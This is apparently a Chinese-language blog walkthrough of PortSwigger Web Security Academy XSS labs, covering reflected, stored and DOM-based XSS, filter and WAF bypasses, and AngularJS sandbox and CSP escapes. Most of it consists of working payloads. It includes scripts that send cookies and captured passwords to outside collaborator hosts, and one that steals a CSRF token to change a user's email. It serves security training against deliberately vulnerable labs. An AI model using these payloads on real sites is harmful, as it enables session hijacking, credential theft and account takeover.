视频同步更新至bilibili
bibi地址
【【portswigger】第二专题-XSS(一·前置知识)】 https://www.bilibili.com/video/BV1mp4y157xA/?share_source=copy_web
【【portswigger】第二专题-XSS(二)】 https://www.bilibili.com/video/BV1t14y1z7pk/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
【【portswigger】第二专题-XSS(四)】 https://www.bilibili.com/video/BV1xj411d7V8/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
【【portswigger】第二专题-XSS(三)】 https://www.bilibili.com/video/BV1ck4y1377S/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
欢迎关注微信公众号:微光安全团队
这是官方备忘录:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
我这里简单总结一下每个实验室所对应的技术栈
可能有漏的,见谅
3、涉及实验:
实验1:将XSS反射到HTML上下文中,不进行任何编码
4、反射的XSS攻击的影响
实验14:利用跨站点脚本窃取Cookie
实验15:利用跨站点脚本来捕获密码
实验16:利用XSS实现CSRF
三、不同上下文中的反射XSS
1、简述:
2、HTML标记之间的XSS
实验2:将XSS存储到HTML上下文中,不进行任何编码
实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止
实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止
实验25:具有事件处理程序和 href 已阻止属性
实验19:允许使用一些SVG标记的反射XSS
3、HTML标记属性中的XSS
实验7:将XSS反射到带尖括号的HTML编码属性中
实验8:将XSS存储到锚中 href 带双引号的属性HTML编码
实验20:规范链接标记中反射的XSS
4、终止现有脚本
实验21:将XSS反射到JavaScript字符串中,并使用单引号和反斜杠进行转义
实验9:将XSS反射到带有尖括号的JavaScript字符串HTML编码
实验22:将XSS反射到JavaScript字符串中,使用尖括号和双引号HTML编码并转义单引号
实验26:JavaScript URL中反射的XSS,其中一些字符被阻止
实验23:将XSS存储到onclick事件中,使用尖括号和双引号HTML编码,使用单引号和反斜杠转义
实验24:将XSS反射到模板文本中,带有尖括号、单引号、双引号、反斜杠和反记号
四、客户端模板注入
1、简述:
2、AngularJS沙盒
实验27:反射的XSS,带AngularJS沙箱转义,不带字符串
3、AngularJS CSP旁路
实验28:反射XSS与AngularJS沙箱转义和CSP
<script>alert(1)</script>
同上
这次需要把xss内容放在评论,这样就可以造成一个存储型xss
<script>alert(1)</script>
漏洞成因
query参数可控,闭合img标签
在输入1111后,我的输入值出现在了url中,我将尝试一个基础的xss payload
所以我打开了页面源码
发现我的payload被编码了
所以我这个时候应该想两个方式,如何绕过编码
我继续向下看,html中出现的函数引起了我的注意
他告诉我我输入的search内容被进入了一个变量叫做query,而后这个query进入了一个函数叫做tracksearch,这个函数的功能是通过document.write写入一个img标签
我接着使用f12查找了这个img src
"><script>alert(1)</script>
解决
简单看一下怎么闭合的
原本的
<img src="/resources/images/tracker.gif?searchTerms=11111" >
注入的内容
"><script>alert(1)</script>
结果
<img src="/resources/images/tracker.gif?searchTerms="><script>alert(1)</script>" >
这个就是原理,所以后面就不演示是怎么闭合的了
按照官方的解释
这 innerHTML接收器不接受 script任何现代浏览器上的元素,也不会 svg onload事件火。
这意味着您将需要使用替代元素,例如 img或者 iframe。 事件处理程序,例如 onload和 onerror可以与这些元素结合使用。
翻译的什么乱七八糟的·····
简单来说就是用了innerHTML可以通过onload和 onerror来利用
而onerror很好用,只需要用一个不存在的标签包含,在进行的时候就可以释放出里面的onerror达到xss
payload
<img src=1 onerror=alert(1)>
漏洞成因: returnpath可控 导致herf标签被注入
这种漏洞在官方的解释如下
如果正在使用 jQuery 等 JavaScript 库,请留意可以更改页面上 DOM 元素的接收器。 例如,jQuery 的 attr()函数可以改变DOM元素的属性。 如果数据是从用户控制的源(例如 URL)读取的,然后传递给 attr()函数,那么就有可能操纵发送的值导致 XSS。 例如,这里有一些 JavaScript 可以更改锚元素的 href使用 URL 中的数据的属性:
他们问题出在了反馈界面
在我们提交了反馈之后
观察url
https://0a2a000404ef1e26814253c300c40025.web-security-academy.net/feedback?returnPath=/post/comment/confirmation
我顺着这个参数找到了函数
内部还有一个类似于子函数的内容
backLink
顺着继续找
看来我的url可以控制着一部分
那我就改一下url
按照题目要求,使用
javascript:alert(document.cookie)
而后点击后退按钮
漏洞原理: jquery选择器内可以插入标签
这个漏洞基于jQuery 中的 DOM XSS:hashchange 事件
var post=$()这行是用jquery选择对应的元素,可以定位到多个元素
所以下面一行post.get(0)是指符合条件的第一个元素
如果元素存在则执行post.get(0).scrollIntoView();
而scrollintoview
这个的功能就是跳到你的输入点
如下
我们手动将页面划到最下面
看到一个volunteering
而后我们在url的最后面输入/#Volunteering
就会发现页面自动滚动到了那么标签所在的位置
选择器经常与 location.hash或自动滚动到页面上特定元素的源。 这种行为通常是使用易受攻击的漏洞来实现的 hashchange事件处理程序,例如
$(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});
最新版本的 jQuery 通过防止在输入以哈希字符开头时将 HTML 注入选择器来修补此特定漏洞( #).
要利用此漏洞,攻击者必须找到一种方法来触发 hashchange无需用户交互的事件,例如iframe.
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
这一段代码的含义是
此代码将事件侦听器附加到“window”对象上的“hashchange”事件,该事件侦听器在 URL 的哈希片段(URL中“#”符号之后的部分)更改时触发。当事件被触发时,代码创建一个变量“post”,该变量选择“section”元素中的第一个标题(h2)元素,其类“blog-list”包含当前哈希片段的文本(使用“decodeURIComponent”函数解码)。如果“post”变量不为空,则代码使用“scrollIntoView”方法将选定的标题元素滚动到视图中。
为了利用该漏洞,让我们在#后放置一个 XSS 有效负载 在 URL 中,
这应该会触发一个警报,因为 jquery 选择器 $()将首先尝试选择(查找)页面上的项目,当失败时(本例中该字符串不存在),它将添加该元素。
我们需要向管理员发送一个 URL 来触发 print()功能,但没有迹象表明管理员会单击我们提供的任何链接。 因此,我们可以使用 iFrame 自动呈现我们选择的 URL。
在下面的示例中, src属性指向具有空哈希值的易受攻击页面。 当 iframe加载后,XSS 向量会附加到哈希中,从而导致 hashchange触发事件
<iframe src="https://xxxxxx/#" onload="this.src+=''"></iframe>
<iframe src="https://0a0e0001030a35cc834c2df0001500b6.web-security-academy.net/#" onload="this.src+=''"></iframe>
"><script>alert(hahahaha)</script>
发现<>都被过滤了
于是我尝试了对他们进行url编码
但依旧无效
所以我选择利用事件触发,之前也有类似的例如onerror
类似的还有onclick等等
这里我们利用
"οnmοuseοver="alert(1)
并且一个双引号闭合掉
漏洞成因: herf标签被注入
我们进入实验室
进入评论区
先随便输入点什么
看看都会怎么运转
我发现有一个超链接
他的herf属性指向我输入的website,并且看起来没有什么过滤
javascript:alert(1)
我们同样输入一个特征字符串
然后跟踪他,看看他经历了什么
我输入了hahaha
并且在f12跟踪到了这个js函数部分
我们看到我们的输入在一个js脚本中
对于这种情况,我们可以采用闭合js标签来进行一个新的属性
例如:
</script><img src=1 onerror=alert(1)>
但是在本题中
我们的输入被‘’包裹
而又因为 JavaScript 不允许变量中存在空格,因此整个字符串将被视为变量的一部分
所以我们采用如下的方法
'-alert(document.domain)-'
';alert(document.domain)//
其中-或者;都表明 alert与它之前的字符串文字标记有关。 -可以做到这一点,任何其他运算符也可以,例如 +, %, 等等。 您还需要连接的末端 alert与恢复的字符串文字,因此最后需要另一个运算符
所以,当我们输入payload之后
'-alert(1)-'
我们完成了挑战
这是之前完成的document.write接收器的domxss的进阶版
我们看到参数的传递,所以我们搜索这个参数
我找到了他,可我并没有在js代码中看到他
于是我仔细观察了js代码
并发现了有趣的东西
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write(');
if(store) {
document.write('+store+'');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('+stores[i]+'');
}
document.write('');
根据这个js代码,我发现还存在一个storeid的参数
他可以被写入option标签
并且会赋予一个storesid
便于查询
所以我们只需要在url中添加这个参数,就可以拥有一个可控的js参数
?productId=2&storeId=test
发生的事情都如我们预期
接下来我就要尝试闭合这个option标签,而后进行注入
?productId=1&storeId=</option><script>alert('xss')</script>//
同样先输入一个随机字符
但是我们的输入并没有进入函数
可是我们也看见了ng-app
这代表着
当指令添加到 HTML 代码中时,您可以执行双花括号内的 JavaScript 表达式。 当对尖括号进行编码时,此技术非常有用。
那么我们进行利用
{{alert('haha')}}
但是失败
所以使用如下payload
{{$on.constructor('alert(1)')()}}
$on.constructor=constructor.constructor,基本上它的解释与函数相同,就好像我们声明了一个函数,然后在其中放置了将要执行的代码,因为这里是完全相同的,在括号内,我们放置了我们想要执行的内容
他的效果就是我先constructor了一个方法然后再去调用它,来绕过一些检测
漏洞成因:eval让alert执行
我们这里把它用bp来处理首先我们简单闭合一下
显示多出来了一个反斜杠
也就是转义符,我们只需要再加一个\就能抵消掉
所以最终的payload如下
\"-alert(1)}//
我们先随便填一下评论
发现显示什么的都正常
所以我开始看js文件
发现存在一个replace函数
为了防止 XSS ,该网站使用了 JavaScript replace()对尖括号进行编码的函数。 但是,当第一个参数是字符串时,该函数仅替换第一次出现的位置。
所以我多增加一对尖括号
<><img src=1 onerror=alert(1)>
即可
这一关我们需要使用到bp
以及备忘录
首先我们把传参的数据包发给intruder并在如图所示位置添加payload部分
而后来到备忘录
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
我们来到备忘录以后
首先复制全部的标签,测试哪一个标签在waf之外
而后在bp intruder中的payload中粘贴
<body%20=1>
再把备忘录中的事件全部粘贴过来
发现了这么多的可利用事件
我们就按照onresize去利用
备忘录中有无需用户交互的payload
<body onresize="print()">
那就利用这个
因为题目中说了本地无法完成
加入一个iframe标签
<iframe src="https://0afb005304132185821c3d1c00320095.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E"onload=this.style.width='100px'>
onload是用来调整窗口大小的
因为这个事件在调整窗口大小的时候触发
当然他没有阻止完
你可以尝试按照上一个靶场去利用
但是我们按照lab的技术栈继续完成
你只需要在漏洞利用服务器中body部分输入如下的payload即可
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
我可以稍微解释一下
< 这部分 xss 代码创建一个名为“xss”的自定义标签。
id=x 自定义的
标记中。 通过将名为“x”的 id 属性添加到
onfocus=alert(document.cookie)
来指定的 HTML 元素。
使得在获得焦点时执行 JavaScript 代码的事件属性中。
网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素
这次自定义的 xss 标签 被 id=x分配
当使用 Tab 键,ID 为 x 的 html 元素将获得焦点。 从而完成一次xss攻击
#x是为了 页面加载时自动触发有效负载
与之前一样,利用bp以及清单去找哪些没有被过滤
关于svg,可以参考这篇文章
https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg
最终的payload如下
%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
这里说一下为什么要用animateTransform标签
上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的
animateTransform是有onbegin事件的
这个先跳过
我不用谷歌,好像测试不了
首先输入特征字符串
而后我在前端找到了他们
这说明我输入的字符被前段js脚本处理
所以我先尝试直接关掉js
</script><script>alert(1)</script>
同样先输入一个特征字符串
那就说明我也在js中处理我输入的信息
那我的首选就是闭合掉js代码或者闭合引号
但是仔细一看,发现我在引号包裹了,那么就只能用之前的方法
先让引号闭合
然后直接alert就行
我现在在bp中进行观察
对引号进行了转义
最终的payload
\'-alert(1)//
这是一个存储型
首先我们也是输入一些特征字符
并且题目中也有提示
尖括号和双引号的事件 HTML 编码且单引号和反斜杠转义
所以我们要考虑一些基础的绕过
首先我们发现它具有onclick的属性
那么我们的目标就是
把我们的url解放出来,成为一个单独的个体
我们需要闭合前后各一个单引号
直接输入失败了
尝试了urlencode
但是失败了
hex
也失败了
最后发现'
也就是单引号的html表达式
可以正常运行
http://'-alert(1)-'
所以这就是最终的payload
还有一些其他的html符号表达式子如下
HTML的转义符
" "
‘ '
& &
< <
> >
空格
© ©
同样先输入特征字符串
我接下来尝试一个多钟符号组成的字符串,看看他的转义
<>'“\
${alert(1)}
来告诉他
这是一个脚本需要运行
就ok了
这算是一个比较常见的利用了
一般来说通过xss来获取到cookie,然后恶意服务端会有一些自动执行的脚本
来利用这个cookie去进行一些操作,例如尝试登陆等等
首先我输入
<img src=0 onerror=print()>
在评论区,他可以正常运行
那么我就开始构造我的窃取xss
<script>
fetch('https://o1qceoykax1i47hwxxw3u2tuoluci26r.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
于是我们就拿到了cookie
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://jk73al66zbtlj5x87xdhlovssjyam6av.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
我们进去之后先登录一下
可以看到更新邮件地址需要像这个url发送一点东西
并且还需要一个csrf的token
那我们的目的就明确了
窃取token并且发送给这个url
跟刚才的窃取一样
只不过多了个发送的过程
当然了,对于csrf的窃取也不只有这一种方法
大概有两种方法
1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)
2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'[email protected]')
};
</script>
也是在评论区
这是个angular的沙箱逃逸
直接fuzzpayload
原理太复杂
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected
payload
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞利用了 ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。 它还使用 $event,这是一个引用事件对象的AngularJS 变量。 这 path属性特定于Chrome,包含触发事件的元素数组。 数组中的最后一个元素包含 window目的。通常情况下, |在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是orderBy筛选。冒号表示正在发送到过滤器的参数。 在论证中,而不是调用 alert直接函数,我们将其分配给变量 z。 该函数仅在以下情况下才会被调用orderBy操作达到 window对象在 $event.path大批。 这意味着它可以在窗口范围内调用,而无需显式引用window对象,有效绕过 AngularJS window查看。
也可以直接找
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected
那就想个办法代替href
也是这个靶场的知识点
attributename可以把href="xxx"分解成attributename=href values=xxx
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>
首先随便输入,然后顺着传递的参数跟到了这一块的实现代码
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>
先试试单引号能不能闭合
而后拿着一堆符号fuzz一下
fuzz的结果就是只要是&开头就合法,而后尝试&'能不能闭合单引号
发现可以
那就看一下能不能闭合{
发现也可以
那屁股后面的花括号也可以闭合了
那就接着测试加入一个alert(1)
&'},alert(1),{x:'
我原本的预期是下面这样的
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3&'},alert(1),{x:''}).finally(_ => window.location = '/')">Back to Blog</a>
这个时候看一下答案的payload
&'},x=x=>{throw/**/οnerrοr=alert,1337}, toString=x,window+'',{x:'
分析一下
&'},
闭合前面的{
x=x=>{throw/**/onerror=alert,1337},
定义一个箭头函数,/**/
是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert,所以后续的逻辑就是造成错误,这一步最关键的点是
由于没有变量声明, x将是一个隐含的全局变量
toString=x
,用箭头函数重载toString函数,这也修改了,正因为x是一个全局变量,所以tostring是一个全局方法,所以这一步他会改变window的方法,从而导致window向字符串转化的时候就会调用x,也就是抛出异常的onerroe也就是alert
window+''
,用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数
{x:'
闭合后面的'}
,
这整个payload核心我认为是window+
能理解就理解吧,理解不了知道有这么一种方法就行